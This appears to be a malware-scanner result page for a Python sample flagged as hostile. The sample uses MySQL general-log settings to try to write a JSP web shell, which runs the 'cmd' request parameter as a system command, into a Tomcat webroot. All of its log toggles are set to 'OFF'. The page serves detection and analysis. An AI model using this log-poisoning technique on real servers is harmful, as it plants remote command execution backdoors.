Hostile 100% python Download

benign-logging-disabled.py

Embedded JSP executes an HTTP parameterMySQL query log targets server script
SHA-256b27967765c87eeba19f5dafe035a2e4fbc1b908eabd57a8e19ece9f2efa36f57

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (Test).

Evidence

MySQL script log precedes scriptlet query lines 1–11
1import pymysql
2import sys
3
4connection = pymysql.connect(host=sys.argv[1], user=sys.argv[2], password=sys.argv[3], autocommit=True)
5with connection.cursor() as cursor:
6 cursor.execute("SET GLOBAL general_log = 'OFF'")
7 cursor.execute("SET GLOBAL general_log_file = '/var/lib/tomcat/webapps/ROOT/cl1217.jsp'")
8 cursor.execute("SET GLOBAL general_log = 'OFF'")
9 cursor.execute('SELECT \'<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>\'')
10 cursor.execute("SET GLOBAL general_log = 'OFF'")
11connection.close()

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.